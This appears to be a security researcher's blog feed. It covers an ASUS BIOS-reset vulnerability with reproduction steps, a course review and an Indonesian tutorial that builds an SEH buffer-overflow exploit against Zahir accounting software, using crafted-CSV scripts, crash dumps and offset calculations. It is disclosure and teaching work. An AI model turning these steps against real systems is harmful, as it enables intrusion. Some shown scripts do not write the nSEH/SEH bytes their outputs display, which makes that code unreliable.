ASUS ROG BIOS Reset on Lost Battery Power

Update 1: My ASUS laptop is ASUS ROG Zephyrus M GM501GS-EI027T. I’m using the latest BIOS version which is 313 (according to the latest version dated 08/30/2019)

Update 2: Given a CVE-2019-18216

Update 3: ASUS security team gave me the patch for the BIOS vulnerability I posted here and the patch works. I cannot reproduce the vulnerability using the previous technique described below. Thank you to the ASUS security team for a quick response to this vulnerability. Kudos!

A few months ago, I was traveling abroad and brought my superpower laptop, ASUS ROG GM501GS. At that time I departed from Jakarta, I don’t remember how many percents the battery in the laptop, when I arrived at the destination, the laptop was turned off.

Surprisingly, when the charger was plugged in, and the laptop was turned on, the BIOS configuration was reset. I knew when the laptop was turned on, the sound of the ASUS logo whizzing out again (I’ve turned off this configuration in the BIOS).

The laptop was boot normally, then I restarted it again to validate that the BIOS configuration’s correct. And it’s true, the BIOS configuration was reset, maybe because the battery was empty. If the BIOS doesn’t use a separated battery it makes security configuration and BIOS protection useless. Whereas in the BIOS configuration, we can prevent someone from booting using USB, protect the BIOS configuration with a password, configure the system to not boot without entering a password, including the virtualization feature, etc.

After coming from abroad, I made time to reproduce the behavior; this is what I did:

  1. Make sure the battery is in low condition, then access into the BIOS to make a change and save the configuration. The change in configuration can be anything. For example, I turn off the ASUS logo boot audio chime (this is just a sign for me). If the BIOS is reset, the ASUS logo boot audio will chime.
  2. Once configured, boot normally to the operating system.
  3. Use the laptop until it turns itself off; don’t do work things, remember if the system goes down anytime, your data would be lost.
  4. When the battery is completely discharged, plug in the charger, then turn on the laptop and let it boot normally into the operating system.
  5. After normal boot, unplug the charger and leave the laptop turned off until run out of battery. Make sure the operating system isn’t configured in power saving mode to save the battery.
  6. After dead for the second time, try pressing the power button repeatedly to make sure the laptop cannot start.
  7. Wait for about 30 minutes, then plug the charger again, then immediately press the power button.
  8. At this time, the laptop keyboard will light up, the laptop will restart many times, and in the end the ASUS logo boot audio sound will be chime. The chime indicates that the BIOS has been reset.
  9. If it didn’t work, repeat the steps above.

Earlier this week I contacted the ASUS security team and they responded that this was normal. Apparently the power source for the BIOS uses the same battery as the main battery and they told me that it is a new design.

I argue with the ASUS team that in my opinion, this is a vulnerability because the BIOS security configuration is made for security reasons. If this laptop is stolen (with a BIOS security configuration installed), then without the need to disassemble/remove the hard disk, the attacker can easily access the hard disk with USB.

ASUS security team accepts this and will improve the BIOS design in the future. Hopefully this can bring improvements to other laptop maker.

If there are friends and colleagues who use this ASUS ROG GM501GS,
make sure that the laptop battery is always in full condition. Do not travel using this laptop if the battery is low.

For companies, it’s best to use a laptop that has a BIOS battery configuration separate from the main battery to prevent losing the security configuration in the BIOS.

Picture taken from https://www.cnet.com/reviews/asus-rog-zephyrus-m-gm501-review/

CDEF Podcast: Head to Head Bug Bounty vs Pentesting

Last week, Indonesia CDEF (Indonesia Cyber Defense Community) invited me to be on their podcast on the night of September 8, 2019. It raised “Head to head Bug Bounty vs. Pentesting.” as the topic.

You can hear the topic on Spotify below (language spoken: Bahasa Indonesia)

CDEF Podcast’s usually held every two weeks and bringing up topics around cybersecurity; Incident Detection & Response, Threat Hunting, Security Hardening, Security Monitoring, Digital Forensics, Security Awareness, Security Policy, etc.. Stay tuned on the next episode of CDEF podcast.

Google Calendar Spam

Some time ago @mubix tweeted about spam that entered Google Calendar, he felt he had never published his calendar, and did not find the e-mail associated with the purchase of iPhone XS Max (according to the tweet). When I saw the tweet, I was intrigued that spammers were getting better at it.

https://twitter.com/mubix/status/1166368879423234048

This morning I was surprised by the notification reminder on my calendar (unfortunately I swiped it) that my Samsung S10 was ready to be taken (huh ?!).

Google is aware on this, the Google calendar team responded (in @mubix’s reply)

For recipients of calendar notifications from the spammer, you are advised not to visit the links found on the calendar. The contents of the link usually lead us to a fake form that asks us to provide sensitive information such as email addresses, passwords, telephone numbers, etc.

The malicious link on my spam calendar happened to be inactive, but still, the opportunity for spammers to trick mobile users became more wide open. Stay alert guys.

My Review on Advanced Windows Exploitation course by Offensive Security

For the past few months, I have been preparing for the Advanced Windows Exploitation (AWE) training at one of Asia’s most popular hacker conferences, Black Hat Asia 2019. AWE is one of the training organized by Offensive Security LLC, a Kali Linux distro maker (formerly Backtrack) and the Exploit-DB website (www.exploit-db.com).

After waiting for approximately 5 years, AWE was finally held in the Asian region (AWE is usually held in the European and American regions only). I, without hesitation, was immediately registering when in early January 2019, Black Hat Asia team revealed a list of training to be held and AWE from Offensive Security was on the list.

The training was held on March 26-29, 2019 at Marina Bay Sands Singapore. The following stories are my review of the training.

The first day, we as trainees, who filled the training room, were presented with material on how to bypass NX and ASLR in the exploit development process. Morten Schenk explained how to exploit vulnerabilities in Adobe Flash. This process includes how to get read/write primitives, ASLR bypass with the ‘memory leaking’ method, then bypass NX/DEP using ROP technique. On this first day, to be honest, I can only take 40% of the material because of the compact information provided.

The second day of the training continued the rest of the discussion that had not been completed on the first day, namely by bypassing Adobe Flash sandbox and WDEG (Windows Defender Exploit Guard) in Windows 10 Fall Creators Update (as a replacement for EMET that had expired). On this second day, we also immediately changed the case study of a vulnerability in Microsoft Edge. In this case study, we were dealing with a Type Confusion vulnerability that was discovered by the Google Project Zero team and made it exploited. The exploitation process began by analyzing the proof of concept, looking for a way on how to get primitive read/write, bypassing ASLR by ‘leaking the function pointer.’ inside Microsoft Edge.

On the third day, the discussion was even more brutal when we’re dealing with several protections in Windows 10. Morten explained well how to bypass the CFG (Control Flow Guard) and ACG (Arbitrary Code Guard). After successfully bypassing all of these protections, then ROP-based techniques can be used to gain code execution.

The fourth day, we were presented with how memory paging at Intel works, SMEP (Supervisor Mode Access Prevention), how the token privilege works and their relationship with the kernel exploitation.
Alexandru ‘sickness’ Uivalvi explained a very good material using a case study of a vulnerable Windows driver and exploited them under a least privilege user. The ultimate goal of the exploitation is to gain access to NT AUTHORITY\SYSTEM.

Pre-Exam Preparation

I filled out the exam preparation by repeating all the discussion material in the module and doing all the training exercises given. Some exploits that discuss driver exploit:

Some materials and references that discuss Adobe Flash and bypass Windows protections:

As well as several references given by the instructor during the course (I can’t share it here due to possibility of violating legal and agreement against Offensive Security LLC)

About the Exam

The time for the AWE exam is 71 hours 45 minutes; I am sure the Offsec team has well calculated the time provided.
Exam questions consist of only 2 target machines and 2 debugging machines. Unlike the OSCP and OSCE exams (which I got it pretty fast in couple of hours), I just got ‘click’ after 18 hours, really a waste of time. The toughest challenge was finished on the third day when the remaining time is 12 hours left. The second challenge is completed 1 hour before the exam time is over. I use the remaining one hour to review all the work.

The results of the exam were notified via e-mail 3 days later and I passed. I was entitled to OSEE certification, yeay!

Conclusion

At the end of the training, Alexandru and Morten shared that only around 30% of participants usually took the exam to achieve OSEE certification. I tried to complete the entire AWE training series, which was intended to get OSEE certification, the highest certification from Offensive Security.

AWE training is the most brutal technical training I have ever participated in, to be honest, I am very fortunate to be able to take part in this training. Thanks to Alexandru ‘sickness’ Uivalvi and Morten Schenk for the training.

AWE training at Black Hat Asia 2019

Zahir Enterprise Plus 6 <= build 10b – Buffer Overflow (SEH)

Zahir Accounting adalah software akuntansi yang sangat banyak digunakan oleh tingkatan SOHO (Small Office Home Office) di Indonesia. Selain harganya yang terjangkau, Zahir memiliki fitur yang lebih dari cukup untuk menyelesaikan pencatatan akuntansi yang tanggung, dalam arti mampu menyisir tingkat menengah ke bawah dan juga mampu menghadapi tantangan akuntansi yang hampir mendekati tingkat enterprise. 

Pada kesempatan kali ini, Zahir Accounting masuk di laboratorium riset 0-day Spentera yang fokus pada aplikasi-aplikasi yang dihasilkan oleh anak negeri. Mengingat profil Zahir yang cukup terkenal, merupakan tantangan dan kebanggaan tersendiri bagi kami untuk membedahnya.

Lingkungan Riset dan Tool yang Digunakan

Proses vulnerability discovery ini dilakukan pada sistem operasi Windows 7 dengan beberapa tool yang akan kita gunakan sebagai berikut:

Fuzzing Aplikasi

Seperti biasa proses awal sebuah vulnerability discovery pada aplikasi diawali oleh yang namanya fuzzing. Proses ini biasanya memakan waktu yang lama, tergantung besaran entry point yang terdapat pada aplikasi. Karena aplikasi Zahir merupakan aplikasi klien (bukan aplikasi server yang menjalankan service dan membuka port), maka tehnik yang kami gunakan adalah pendekatan file format fuzzing. Tehnik ini mencoba mencari kerentanan dari sisi input yang akan di proses oleh aplikasi, sisi input ini yang kami sebut juga dengan entry point. Pada aplikasi Zahir, terdapat beberapa entry point berikut:

  • Menu Buka Data, fungsi untuk membaca database lokal atau dari layanan database Firebird.
  • Menu Membuka File Backup, fungsi untuk membuka file backup yang sudah ada
  • Menu Import Data dari Zahir versi 6.0, membuka data dari versi Zahir sebelumnya.
  • Menu Import Data dari file lainnya, membuka data dari file berformat CSV.
  • Menu Import Transaksi, membuka data dari file berformat CSV.

Percobaan fuzzing dilakukan dengan cara mengisi file berformat CSV dengan karakter “A” lalu di inputkan ke dalam program Zahir. Dari semua percobaan fuzzing yang telah dilakukan dengan cara membuat file berformat CSV, fungsi Import Data dari file lainnya-lah yang bereaksi terhadap file CSV yang berisi karakter “A” sebanyak 5000 karakter. Berikut adalah skrip yang digunakan untuk menghasilkan file tersebut.

#!/usr/bin/python

junk = "A" * 2500
junk += '\n\r'
junk += 'A' * 500
junk += "D" * 500

print "[+] Preparing for file.."
filename = "junk.csv"
f = open(filename, 'w')
print "[+] Writing crafted CSV file.."
f.write(junk)
f.close()
print "[+] File %s written successfully.. bring it to Mr. Zahir." %filename

Jika diperhatikan ada karakter ‘\n\r’ yang disematkan antar karakter “A” yang akan dihasilkan. Karakter ‘\n’ biasa kita kenal dengan newline atau Line Feed (LF), sedangkan karakter ‘\r’ yang berarti Carriage Return (CR). Informasi mengenai CR LF dapat dilihat disini.

Dalam beberapa kali percobaan, rupanya program Zahir mengalami kegagalan dalam memproses CR LF ini sehingga menyebabkan program Zahir crash. Untuk memicu error tersebut, kita bisa membuka file junk.csv dari menu File – Import – Import Data dari File Lainnya – Pilih Lanjutkan – Pada menu selanjutnya pilih salah satu, saya memilih Daftar Pelanggan – Lalu pada form Nama File, pilih file junk.csv yang telah dihasilkan oleh skrip di atas – Lalu pilih Lanjutkan.

Terlihat bahwa terdapat pesan error

Error: Access violation at 0x77D5283E (tried to write to 0x0030FE4), program terminated. LastCP is 'RF'.

Pada pesan error juga terdapat hint (LastCP is ‘RF’) yang menjelaskan bahwa crash tersebut terjadi karena CR LF.

Proses Debugging

Berdasarkan informasi tersebut, kita perlu tahu apa yang sebenarnya terjadi ketika file CSV hasil fuzzing (junk.csv) tersebut diproses oleh Zahir. Proses ini biasa kita namakan dengan debugging dan tool untuk debugging kali ini kita akan menggunakan Immunity Debugger. Seperti proses debugging pada umumnya, kita akan menjalankan Immunity Debugger dan membuka program Zahir dengan Immunity Debugger. Namun developer Zahir sepertinya tidak ingin programnya dapat di reverse engineering atau debugging, sehingga ketika kita buka dengan Immunity Debugger, muncul tampilan seperti berikut.

Ketika menemukan error seperti ini, maka proses debugging tidak akan bisa kita lakukan dengan cara membuka program dengan debugger. Ada 2 cara lain jika kita menemukan keadaan seperti ini:

  1. Lakukan debugging dengan cara attaching proses ZahirApp6.exe, tentu saja kita harus jalankan program Zahir dulu sampai semua program tersebut berjalan dengan sempurna, setelah itu kita attach (File – Attach) proses ZahirApp6.exe dengan Debugger. Namun, cara pertama ini gagal karena developer Zahir sukses menghindari attaching process oleh debugger, sehingga ketika file CSV fuzzing (junk.csv) di buka, program tetap crash namun debugger tidak dapat ‘menangkap’ proses crash yang terjadi.
  2. Menangkap crash dump yang dihasilkan ketika Zahir crash dengan file CSV fuzzing (junk.csv) yang sudah kita input ke Zahir. Untuk ‘menangkap’ informasi crash tersebut, dibutuhkan program tambahan yang bernama Procdump.

Crash Dump Analysis

Untuk mendapatkan informasi lebih detail terhadap crash dump yang dihasilkan, kita perlu mengatur bagaimana Procdump dapat menangkap crash dari program Zahir. Untuk itu kita akan menggunakan Procdump dengan perintah berikut:

mkdir c:\crashdump
cd C:\tools\SysinternalsSuite
procdump.exe -ma -I C:\crashdump

Penjelasan tentang perintah di atas:

  • mkdir C:\crashdump, kita membuat tempat dimana procdump akan melempar hasil crash program.
  • procdump -ma -I C:\crashdump, yang berarti menuliskan ‘Full’ dump apabila program crash ke folder C:\crashdump serta jadikan procdump sebagai AEDebug postmortem debugger yang artinya Procdump akan selalu menjadi program yang pertama kali dianggap sebagai debugger oleh sistem operasi.

Setelah Procdump siap, kita akan jalankan kembali program Zahir dan membuka kembali file CSV fuzzing (junk.csv) yang sudah kita siapkan. Kali ini, Procdump akan mencatat semua proses crash dan dapat kita analisa menggunakan Windows Debugger (WinDbg).

Setelah tampilan error CR LF yang sebelumnya kita lihat, muncul window baru dimana Procdump melakukan tugasnya mengumpulkan proses crash yang sedang terjadi. Apabila kita lihat di C:\crashdump, kita bisa lihat 2 buah file telah dihasilkan oleh Procdump.


Untuk menganalisa kedua file ini, kita memerlukan Windows Debugger (WinDbg)

Analisa Crash Dump dengan WinDbg

Buka program WinDbg lalu pilih File – Open Crash Dump, pilih salah satu dari kedua file crash dump tersebut. Kita akan melihat pada Command window bahwa proses berhenti ketika terjadi exception yang kemudian ditangkap oleh Structured Exception Handler (SEH), hal ini dapat kita simpulkan dari module DLL dimana proses exception tersebut terjadi (ntdll_!_SEH_prolog4+0x1a). Jika ingin melihat dari sisi disassembler, pilih View – Disassembly.

Apabila kita lihat pada hasil crash dump di atas terdapat kalimat “This dump file has an exception of interest stored in it. The stored exception information can be accessed via .ecxr.”

Jika kita lihat menggunakan !analyze -v:

0:000&gt; !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************

Failed calling InternetOpenUrl, GLE=12029

FAULTING_IP:
Zahir!LbcsvRegister$qqrv+49
02504375 f366a5          rep movs word ptr es:[edi],word ptr [esi]

EXCEPTION_RECORD:  0012e600 -- (.exr 0x12e600)
ExceptionAddress: 02504375 (Zahir!LbcsvRegister$qqrv+0x00000049)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000001
   Parameter[1]: 82828282
Attempt to write to address 82828282

PROCESS_NAME:  ZahirApp6.exe
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.
EXCEPTION_PARAMETER1:  00000001
EXCEPTION_PARAMETER2:  00030fe4
WRITE_ADDRESS:  00030fe4
FOLLOWUP_IP:
Zahir!LbcsvRegister$qqrv+0
0250432c 51              push    ecx
MOD_LIST:
NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

FAILED_INSTRUCTION_ADDRESS:
+69382faf0387de5c
44444444 ??              ???

CONTEXT:  0012e61c -- (.cxr 0x12e61c)
eax=0012eab4 ebx=00000000 ecx=0000007f edx=82828282 esi=0012eab4 edi=82828282
eip=02504375 esp=0012ea74 ebp=0012ea8c iopl=0         nv up ei pl nz na po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010203
Zahir!LbcsvRegister$qqrv+0x49:
02504375 f366a5          rep movs word ptr es:[edi],word ptr [esi]
Resetting default scope

ADDITIONAL_DEBUG_TEXT:  Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]
LAST_CONTROL_TRANSFER:  from 0250483b to 02504375
FAULTING_THREAD:  ffffffff
BUGCHECK_STR:  APPLICATION_FAULT_INVALID_STACK_ACCESS_INVALID_POINTER_WRITE_FILL_PATTERN_44444444
PRIMARY_PROBLEM_CLASS:  INVALID_STACK_ACCESS_FILL_PATTERN_44444444
DEFAULT_BUCKET_ID:  INVALID_STACK_ACCESS_FILL_PATTERN_44444444

IP_ON_HEAP:  44444444
The fault address in not in any loaded module, please check your build's rebase
log at \bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.

IP_IN_FREE_BLOCK: 44444444

STACK_TEXT:
0012ea74 02504375 zahir!LbcsvRegister$qqrv+0x49
0012ea94 0250483b zahir!LbcsvTLbCsvGetRecord$qqrpc11DbTGetModeo+0x13f
0012ebd0 41414141 unknown!printable+0x0
0012ebd4 41414141 unknown!printable+0x0
0012ebd8 41414141 unknown!printable+0x0
0012ebdc 41414141 unknown!printable+0x0
0012ebe0 41414141 unknown!printable+0x0
0012ebe4 41414141 unknown!printable+0x0
0012ebe8 41414141 unknown!printable+0x0
0012ebec 41414141 unknown!printable+0x0
0012ebf0 41414141 unknown!printable+0x0
0012ebf4 41414141 unknown!printable+0x0
0012ebf8 41414141 unknown!printable+0x0
0012ebfc 41414141 unknown!printable+0x0
0012ec00 41414141 unknown!printable+0x0
0012ec04 41414141 unknown!printable+0x0
0012ec08 41414141 unknown!printable+0x0
0012ec0c 41414141 unknown!printable+0x0
0012ec10 41414141 unknown!printable+0x0
0012ec14 41414141 unknown!printable+0x0

STACK_COMMAND:  .cxr 0012E61C ; kb ; dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; dds 12ea74 ; kb
SYMBOL_NAME:  zahir!LbcsvRegister$qqrv+0
FOLLOWUP_NAME:  MachineOwner
MODULE_NAME: Zahir
IMAGE_NAME:  Zahir.bpl
DEBUG_FLR_IMAGE_TIMESTAMP:  2a425e19
FAILURE_BUCKET_ID:  INVALID_STACK_ACCESS_FILL_PATTERN_44444444_c0000005_Zahir.bpl!LbcsvRegister$qqrv
BUCKET_ID:  APPLICATION_FAULT_INVALID_STACK_ACCESS_INVALID_POINTER_WRITE_FILL_PATTERN_44444444_BAD_IP_zahir!LbcsvRegister$qqrv+0
WATSON_STAGEONE_URL:  http://watson.microsoft.com/StageOne/ZahirApp6_exe/6_0_0_1/2a425e19/ntdll_dll/6_1_7601_23889/598d4ce7/c0000005/0005283e.htm?Retriage=1
Followup: MachineOwner
---------

Exception record menunjukkan bahwa exception terjadi pada alamat 0012e600. Kita bisa lihat proses exception terjadi dengan perintah berikut.

0:000> d fs:[0]
003b:00000000  6c 15 03 00 00 00 13 00-00 10 03 00 00 00 00 00 l...............
003b:00000010  00 1e 00 00 00 00 00 00-00 f0 fd 7f 00 00 00 00 ................
003b:00000020  88 03 00 00 cc 0c 00 00-00 00 00 00 c0 68 25 00 .............h%.
003b:00000030  00 e0 fd 7f 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000040  28 62 f4 fd 00 00 00 00-00 00 00 00 00 00 00 00 (b..............
003b:00000050  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000060  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000070  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0:000> d 0003156c
0003156c  ac 1a 03 00 8d 6d 0a 77-30 ec 12 00 28 16 03 00  .....m.w0...(...
0003157c  4b 6d 0a 77 40 16 03 00-30 ec 12 00 5c 16 03 00  Km.w@...0...\...
0003158c  14 16 03 00 44 44 44 44-30 ec 12 00 40 16 03 00  ....DDDD0...@...
0003159c  30 ec 12 00 17 fa 07 77-40 16 03 00 30 ec 12 00  0......w@...0...
000315ac  5c 16 03 00 14 16 03 00-44 44 44 44 00 00 00 00  \.......DDDD....
000315bc  40 16 03 00 00 00 00 00-00 00 00 00 00 00 00 00  @...............
000315cc  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
000315dc  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0:000> d 00031aac
00031aac  ec 1f 03 00 8d 6d 0a 77-30 ec 12 00 68 1b 03 00  .....m.w0...h...
00031abc  4b 6d 0a 77 80 1b 03 00-30 ec 12 00 9c 1b 03 00  Km.w....0.......
00031acc  54 1b 03 00 44 44 44 44-30 ec 12 00 80 1b 03 00  T...DDDD0.......
00031adc  30 ec 12 00 17 fa 07 77-80 1b 03 00 30 ec 12 00  0......w....0...
00031aec  9c 1b 03 00 54 1b 03 00-44 44 44 44 00 00 00 00  ....T...DDDD....
00031afc  80 1b 03 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00031b0c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00031b1c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0:000> d 00031fec
00031fec  2c 25 03 00 8d 6d 0a 77-30 ec 12 00 a8 20 03 00  ,%...m.w0.... ..
00031ffc  4b 6d 0a 77 c0 20 03 00-30 ec 12 00 dc 20 03 00  Km.w. ..0.... ..
0003200c  94 20 03 00 44 44 44 44-30 ec 12 00 c0 20 03 00  . ..DDDD0.... ..
0003201c  30 ec 12 00 17 fa 07 77-c0 20 03 00 30 ec 12 00  0......w. ..0...
0003202c  dc 20 03 00 94 20 03 00-44 44 44 44 00 00 00 00  . ... ..DDDD....
0003203c  c0 20 03 00 00 00 00 00-00 00 00 00 00 00 00 00  . ..............
0003204c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0003205c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0:000> d 0003252c
0003252c 6c 2a 03 00 8d 6d 0a 77-30 ec 12 00 e8 25 03 00  l*...m.w0....%..
0003253c  4b 6d 0a 77 00 26 03 00-30 ec 12 00 1c 26 03 00  Km.w.&..0....&..
0003254c  d4 25 03 00 44 44 44 44-30 ec 12 00 00 26 03 00  .%..DDDD0....&..
0003255c  30 ec 12 00 17 fa 07 77-00 26 03 00 30 ec 12 00  0......w.&..0...
0003256c  1c 26 03 00 d4 25 03 00-44 44 44 44 00 00 00 00  .&...%..DDDD....
0003257c  00 26 03 00 00 00 00 00-00 00 00 00 00 00 00 00  .&..............
0003258c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0003259c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

Pada proses dump terhadap exception handler dengan melihat langsung pada tiap handler, dapat kita lihat di atas bagian berwarna merah menunjukkan alamat handler berikutnya. Kita bisa lihat bahwa handler terus mencoba mengatasi exception hingga pada akhirnya program mengalami crash. Dengan menjalankan perintah !exchain, terlihat bahwa exception chain berhenti pada alamat 0012ec30.


Jika kita melakukan dump pada alamat tersebut (0012ec30):

0:000&gt; d 0012ec30
0012ec30 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
0012ec40 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
0012ec50 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
0012ec60 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
0012ec70 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
0012ec80 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
0012ec90 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
0012eca0 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD

Dengan melihat tampilan di atas, hal tersebut membuktikan bahwa kita berhasil mengisi stack dengan buffer (junk) yang telah disiapkan (junk.csv). Berdasarkan informasi tersebut dapat kita simpulkan bahwa:

  • Terkonfirmasi bahwa program Zahir memiliki kerentanan yang dapat di eksploitasi, yaitu melalui kerentanan CR LF.
  • Dengan kerentanan CR LF ini, kita bisa mengambil alih aliran eksekusi program Zahir.
  • Berdasarkan hasil crash dump bahwa telah terjadi exception, maka proses eksploitasi ini akan menggunakan tehnik untuk bypass SEH.

Mengingat terdapat exception handler yang mengendalikan kondisi program apabila terjadi kesalahan, maka proses eksploitasi menjadi sedikit berbeda dari proses eksploitasi biasa dengan tehnik direct RET. Untuk membaca mengenai proses eksploitasi direct RET bisa membaca dokumen yang pernah saya tulis sebelumnya dengan judul Exploit Development: Basic Stack-based Overflow. Informasi mengenai proses eksploitasi SEH juga bisa dibaca dengan detail pada postingan di blog Spentera dengan judul SEH Based Stack Overflow – The Basic.

Eksploitasi dengan Tehnik SEH

Pada proses eksploitasi dengan tehnik SEH, kita akan menimpa alamat exception handler (SEH) dan alamat penunjuk exception handler selanjutnya (Next SEH). Bisa kita lihat dari diagram berikut.

Pada proses eksploitasi kali ini, perlu agak tricky menentukan di mana kita mencari alamat ketika junk buffer (A) menimpa SEH dan Next SEH. Untuk itu seperti biasa kita akan menggunakan bantuan skrip pattern_create.rb dari Metasploit dan memodifikasi skrip eksploitnya.

#!/usr/bin/python

bag1= "hasil metasploit pattern_create"
pisah = '\r\n'
bag2 = "sebagian dari hasil metasploit pattern_create"

print "[+] Preparing for file..."
filename = "metasjunk.csv"
f = open(filename, 'w')
print "[+] Writing crafted malicious CSV file.."
f.write(bag1+pisah+bag2)
f.close()
print "[+] File %s written successfully.. bring it to Mr. Zahir." %filename

Pada percobaan pertama, saya menghasilkan 3000 karakter acak dengan pattern_create.rb dan memecahnya menjadi 2 bagian.

  • Bag1 saya isi dengan 2500 karakter acak
  • Bag2 saya isi dengan 500 karakter acak sisanya

Hasil skrip tersebut kita impor lagi ke Zahir dan kita analisa hasilnya.

Terlihat bahwa alamat 0012ec30 tertimpa dengan angka 73443173 yang merupakan karakter acak hasil dari pattern_create.rb. Untuk mengetahui offset atau posisi bytes ketika SEH tertimpa dengan buffer yang kita pilih, kita bisa menggunakan pattern_offset.rb.

Ternyata posisi offset ketika SEH tertimpa adalah di byte 2884. Hal ini menjadi sangat menarik karena jika kita lihat di atas, kita membagi buffer menjadi bag1 (2500 bytes) dan bag2 (500 bytes), dan rupanya offset berada di bytes 2884. Artinya ada kelebihan 384 bytes pada buffer bag1 (2500 bytes) yang menimpa stack sehingga setelah itu bytes berikutnya akan menimpa SEH dan Next SEH (nSEH). Berdasarkan analisis ini, kita perlu mengubah skrip skeleton eksploit kita menjadi seperti ini:

#!/usr/bin/python

bag1= "A" * 2500
pisah = '\r\n'
bag2 = "B" * 384
nseh = "CCCC"
seh = "DDDD"
tambahan = "E" * 500

print "[+] Preparing for file..."
filename = "seh-junk.csv"
f = open(filename, 'w')
print "[+] Writing crafted malicious CSV file.."
f.write(bag1+pisah+bag2)
f.close()
print "[+] File %s written successfully.. bring it to Mr. Zahir." %filename

Dari skrip di atas kita coba menimpa SEH dan nSEH dengan karakter C dan D. Apabila kalkulasi kita benar, maka pada alamat Next SEH akan terisi dengan karakter C (0x43434343) dan pada SEH akan terisi karakter D (0x44444444). Kita buka lagi program Zahir dan lakukan hal yang sama seperti sebelumnya, load kembali file junk kali ini dengan nama seh-junk.csv.

Loading unloaded module list
.....................................................
This dump file has an exception of interest stored in it.
The stored exception information can be accessed via .ecxr.
(740.8f0): Access violation - code c0000005 (first/second chance not available)
eax=00000020 ebx=77856d8d ecx=0003105c edx=77856c74 esi=00031100 edi=00000000
eip=7786283e esp=00030fe8 ebp=00031018 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
ntdll!_SEH_prolog4+0x1a:
7786283e 53 push ebx
0:000&gt; !exchain
0003156c: ntdll!ExecuteHandler2+3a (77856d8d)
00031aac: ntdll!ExecuteHandler2+3a (77856d8d)
00031fec: ntdll!ExecuteHandler2+3a (77856d8d)
.............
0012e52c: ntdll!ExecuteHandler2+3a (77856d8d)
0012ea94: *** WARNING: Unable to verify checksum for Zahir.bpl
*** ERROR: Symbol file could not be found. Defaulted to export symbols for Zahir.bpl -
Zahir!LbcsvTLbCsvGetRecord$qqrpc11DbTGetModeo+1df (025f48db)
0012ec30: 43434343
Invalid exception stack at 42424242

0:000&gt; d 0012ec30
0012ec30&gt;42 42 42 42 43 43 43 43-44 44 44 44 45 45 45 45 BBBBCCCCDDDDEEEE
0012ec40 45 45 45 45 45 45 45 45-45 45 45 45 45 45 45 45 EEEEEEEEEEEEEEEE
0012ec50 45 45 45 45 45 45 45 45-45 45 45 45 45 45 45 45 EEEEEEEEEEEEEEEE
0012ec60 45 45 45 45 45 45 45 45-45 45 45 45 45 45 45 45 EEEEEEEEEEEEEEEE
0012ec70 45 45 45 45 45 45 45 45-45 45 45 45 45 45 45 45 EEEEEEEEEEEEEEEE
0012ec80 45 45 45 45 45 45 45 45-45 45 45 45 45 45 45 45 EEEEEEEEEEEEEEEE
0012ec90 45 45 45 45 45 45 45 45-45 45 45 45 45 45 45 45 EEEEEEEEEEEEEEEE
0012eca0 45 45 45 45 45 45 45 45-45 45 45 45 45 45 45 45 EEEEEEEEEEEEEEEE

Melihat hasil di atas, rupanya kita ada salah perhitungan sehingga posisi SEH yang seharusnya tertimpa dengan karakter D (0x44444444) malah tertimpa dengan karakter C (0x43434343). sedangkan Next SEH yang seharusnya tertimpa dengan karakter C (0x43434343) malah tertimpa dengan karakter B (0x42424242). Karakter E (0x45454545) sudah sangat sesuai dengan keinginan kita, sehingga tidak ada yang perlu kita rubah terkait hal tersebut. Posisi karakter E ini akan kita ganti dengan shellcode jika perhitungan kita sudah sesuai.
Kesalahan perhitungan ini akan kita perbaiki segera dengan mengganti skrip menjadi berikut.

#!/usr/bin/python

bag1= "A" * 2500
pisah = '\r\n'
bag2 = "B" * 380
nseh = "CCCC"
seh = "DDDD"
tambahan = "E" * 500

print "[+] Preparing for file..."
filename = "seh-junk.csv"
f = open(filename, 'w')
print "[+] Writing crafted malicious CSV file.."
f.write(bag1+pisah+bag2)
f.close()
print "[+] File %s written successfully.. bring it to Mr. Zahir." %filename

Hasilnya:

0012ea94: *** WARNING: Unable to verify checksum for Zahir.bpl
*** ERROR: Symbol file could not be found. Defaulted to export symbols for Zahir.bpl -
